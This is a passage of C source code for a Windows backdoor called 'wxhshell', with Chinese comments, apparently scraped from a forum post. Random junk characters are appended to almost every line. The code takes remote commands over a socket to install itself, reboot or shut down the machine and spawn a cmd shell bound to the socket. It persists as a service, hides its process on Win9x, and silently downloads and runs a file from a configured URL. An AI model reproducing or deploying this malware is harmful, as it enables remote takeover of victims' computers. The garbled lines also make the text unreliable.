  case '?': { 8vRiVJ8QS:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); lrE0)B5F  
    break; M,@SUu v"  
  } O92Yd$S  
  // 安装 QEgv,J{  
  case 'i': { 9N29dp>g{{  
    if(Install())  ;E&XFTdO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3q>"#+R.t  
    else ,*4"d._Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NLpD,q{  
    break; G#V22Wca8  
    } >H1d9y +Z  
  // 卸载 s`B'vyoaa  
  case 'r': { k Mo)4 Xp  
    if(Uninstall()) _e 3'f:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5^dw!^d  
    else `R> O5Rv  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t5k&xV=~ #  
    break; )yP>}ME  
    } o7+/v70D  
  // 显示 wxhshell 所在路径 RFC;1+Jn  
  case 'p': { fz&}N`n  
    char svExeFile[MAX_PATH]; ;x#>J +QlG  
    strcpy(svExeFile,"\n\r"); A-io-P7qyj  
      strcat(svExeFile,ExeFile); NIfc/%  
        send(wsh,svExeFile,strlen(svExeFile),0); q{ hq.KZ  
    break; $ T4PC5.  
    } .+|DN"PgJ  
  // 重启 hLvv:C@  
  case 'b': { O2G+ '  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5dF=DCZ  
    if(Boot(REBOOT)) ,7(/Il9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `O{Uz?#*x  
    else { $-RhCnE  
    closesocket(wsh); 9zyN8v2  
    ExitThread(0); Mb>XM7}PU  
    } +7^Ul6BB#K  
    break; .{ -yveE  
    }  M9K).P=  
  // 关机 ~30Wb9eL  
  case 'd': { WFd2_oAT  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); iV&#5I  
    if(Boot(SHUTDOWN)) /v{[Z&z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )rj mJ  
    else { [}2.CM  
    closesocket(wsh); N::;J  
    ExitThread(0); >{S$0D  
    } =oME~oB~  
    break; S;'eoqN8  
    } /aqN`  
  // 获取shell EVFfXv^  
  case 's': { (UZ*36@PJx  
    CmdShell(wsh); u-_$?'l;~  
    closesocket(wsh); 8ilbX)O  
    ExitThread(0); IdxToMr  
    break; 4AYc 8Z#'  
  } Xoy1Gi?  
  // 退出 zq.&Mw?  
  case 'x': { 6bcrPf}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fn OkH  
    CloseIt(wsh); d_uy;-3  
    break; 0EOX@;}  
    } s%oAsQ_y  
  // 离开 j6vZ{Fx;w  
  case 'q': { $:[BB ,$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0*?XQV@  
    closesocket(wsh); yV/ J(  
    WSACleanup(); SN(=e#ljE  
    exit(1); noA\5&hqW  
    break; ^-u HdafP  
        } w<Cmzkf  
  } NE3wui1 V  
  } p*,P%tX  
:XSc#H4  
  // 提示信息 0 '7s  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wW8 6rB  
} rfRo*u2"  
  } N[bN"'U/1  
eC?/l*gF 3  
  return; &ZN'Ey?  
} 0:'jU  
>iH).:j  
// shell模块句柄 zm+4Rl(  
int CmdShell(SOCKET sock) ]B3FTqR{i  
{ vvAk<[  
STARTUPINFO si; NP`s[  
ZeroMemory(&si,sizeof(si)); 15 o.j!S  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _c8.muQ<  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 82za4u$q#  
PROCESS_INFORMATION ProcessInfo; 3:joSQa  
char cmdline[]="cmd"; )8 :RiG2B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xH_ie  
  return 0; u)`|q_y+8  
} :{:?D\%6  
d._gH#&v  
// 自身启动模式 BG:`Fq"T  
int StartFromService(void) +){a[@S@x  
{ 8TZA T%4  
typedef struct _MbVF>JOx  
{ `A'I/Hf5  
  DWORD ExitStatus; v^W?o}W  
  DWORD PebBaseAddress; IIQ3|eZ  
  DWORD AffinityMask; v* ~%x  
  DWORD BasePriority; CY3\:D0I  
  ULONG UniqueProcessId; NzAtdcwR  
  ULONG InheritedFromUniqueProcessId; mK40 f  
}   PROCESS_BASIC_INFORMATION; ^lai!uZVa  
LnTe_Q7_  
PROCNTQSIP NtQueryInformationProcess; 90iW-"l+[  
x;FO|fH  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mnQjX ?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2${,%8"0s  
m0\"C-Bk  
  HANDLE             hProcess; S~rVRC"<xo  
  PROCESS_BASIC_INFORMATION pbi; aC yb-P  
.;Utkf'I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p (xD/E  
  if(NULL == hInst ) return 0; _jrA?pY  
Z"~6yF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uP{+?#a_-\  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); EB2^]?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); CESe}^)n  
Wytvs*\`  
  if (!NtQueryInformationProcess) return 0; t7oz9fSz=?  
rfXF 01I  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "UoCT7X  
  if(!hProcess) return 0; )fd-IYi-3  
Rhv".epz  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0Dm`Ek3A7x  
! jX+ox  
  CloseHandle(hProcess); nhP~jJn  
I "Q9W|J_&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;/";d]j  
if(hProcess==NULL) return 0; e,#+Xx0M  
9S H<d)^  
HMODULE hMod; Gp ^ owr  
char procName[255]; ;h-G3>Il  
unsigned long cbNeeded;  Z|:_ c  
Og$eQS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }`9fZK{. @  
e(n2+S#N  
  CloseHandle(hProcess); RM^?&PM85  
or!D  
if(strstr(procName,"services")) return 1; // 以服务启动 ZU| V+yT  
>OKS/(I0  
  return 0; // 注册表启动 `! ,\kc1  
} BBU84s[  
|P.  =  
// 主模块 n$hqNsM  
int StartWxhshell(LPSTR lpCmdLine) ]O[+c*|w  
{ Q_dXRBv=n  
  SOCKET wsl; 9!O+Ryy?\  
BOOL val=TRUE; KF:]4`$  
  int port=0; lk*0c {_L  
  struct sockaddr_in door; {m+S{dWp  
kKxL04  
  if(wscfg.ws_autoins) Install(); %|`:5s-T%  
$dx1[ V+_  
port=atoi(lpCmdLine); 6z p@#vYI  
6"7:44O;G  
if(port<=0) port=wscfg.ws_port; c69U1  
s=q%:uCO  
  WSADATA data; sxN>+v11z  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c ?p0#3%L#  
1%SJ1oY  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [NCXn>Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =0PNHO\gl  
  door.sin_family = AF_INET; ^B<PD]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =0 C l  
  door.sin_port = htons(port); q*F~~J!P  
Io,/ +#|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { kH>vD = q>  
closesocket(wsl); d6t)gG*5  
return 1; H;TOPtt2  
} 33{;[/4  
VGTeuu5i  
  if(listen(wsl,2) == INVALID_SOCKET) { HC9vc,Fp  
closesocket(wsl); M]6w^\4j9  
return 1; c]%;^)  
} k Z+q  
  Wxhshell(wsl); zH=/.31Q  
  WSACleanup(); -+ ]T77r  
jlRl2 #"  
return 0; ,yHzo  
Qb6QXjN Q  
} (6ohrM>Q  
&# vk4C_8m  
// 以NT服务方式启动 DJ1XN pm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) b[{m>Fa+o#  
{ 4hsPbUx9  
DWORD   status = 0; Ad}-I%Ie  
  DWORD   specificError = 0xfffffff; .^[fG59  
Jo7fxWO_g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; DU/9/ I?~  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]b0zkoD9<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zzw}sZ?8  
  serviceStatus.dwWin32ExitCode     = 0; t5ny"k!  
  serviceStatus.dwServiceSpecificExitCode = 0; lQp89*b?=U  
  serviceStatus.dwCheckPoint       = 0; AND7jEn  
  serviceStatus.dwWaitHint       = 0; R\9>2*w  
dT0^-XSY  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {~j /XB  
  if (hServiceStatusHandle==0) return; aWHd}%  
2p$n*|T&c  
status = GetLastError(); \yJZvhUk  
  if (status!=NO_ERROR) v{mv*`~nA\  
{ EFa{O`_@U  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; VL_)]LR*)  
    serviceStatus.dwCheckPoint       = 0; 4f{[*6 GX  
    serviceStatus.dwWaitHint       = 0; 4cXAT9  
    serviceStatus.dwWin32ExitCode     = status; G zJ9N`  
    serviceStatus.dwServiceSpecificExitCode = specificError; LCo1{wi  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ht`<XbQ>  
    return; 7.7Cluh5,  
  } '|YtNhWZ?  
K:>NGGY8r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L<f-Ed9|  
  serviceStatus.dwCheckPoint       = 0; tl{]gz  
  serviceStatus.dwWaitHint       = 0; ql!5m\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); p/ziFpU  
} Ek"YM[  
\S=XIf  
// 处理NT服务事件,比如:启动、停止  uD.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >Jm-2W5J  
{ \ &eY)^vw  
switch(fdwControl) =gMaaGg p,  
{ '+)6#/*  
case SERVICE_CONTROL_STOP: `7u\   
  serviceStatus.dwWin32ExitCode = 0; DHh+%|e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; SBCL1aM  
  serviceStatus.dwCheckPoint   = 0;  _/8_,9H  
  serviceStatus.dwWaitHint     = 0; |Q5H9<*  
  { g)=V#Bglv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &_Cxv8  
  } paq8L{R  
  return; ;el]LnV!O  
case SERVICE_CONTROL_PAUSE: 5S&aI{;9<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .K $p`WQ{  
  break; uHfhRc9  
case SERVICE_CONTROL_CONTINUE: lSZ"y Q+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; + $k07mb\  
  break; 4u3 \xR?w6  
case SERVICE_CONTROL_INTERROGATE: 2^ zg0!z  
  break; 7^kH8qJ)  
}; RtW4 n:c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); > [Xm|A#  
} 2. StG(Y!  
_Ct}%-,4  
// 标准应用程序主函数 H "Q(2I  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3mpP| b"  
{ { M`  
R19'| TJ  
// 获取操作系统版本 qJ\X~5{  
OsIsNt=GetOsVer(); Z 7`5x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 8pX f T%]  
'b LP ~  
  // 从命令行安装 er(8}]X8Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); CMC?R,d  
P/FrE~  
  // 下载执行文件 =^Bq WC2~  
if(wscfg.ws_downexe) { o8w-$ Qb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Nawp t%  
  WinExec(wscfg.ws_filenam,SW_HIDE); $@_YdZ!  
} l0gH(28K  
R!sNg   
if(!OsIsNt) { n (OjjR m  
// 如果时win9x,隐藏进程并且设置为注册表启动 y.jS{r".  
HideProc(); QH& %mr.S  
StartWxhshell(lpCmdLine); qsI{ b<n  
} |!$ Q<-]f  
else p])D)FsMB  
  if(StartFromService()) {&u Rd?(  
  // 以服务方式启动 M#=Y~PU  
  StartServiceCtrlDispatcher(DispatchTable); ]MC/t5vCu  
else 6o$Z0mG  
  // 普通方式启动 iYkRo>3!QX  
  StartWxhshell(lpCmdLine); "EJ\]S]$X  
OZ eiH X!  
return 0; S|l&fb n  
}
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只看该作者 1 发表于: 2006-10-10
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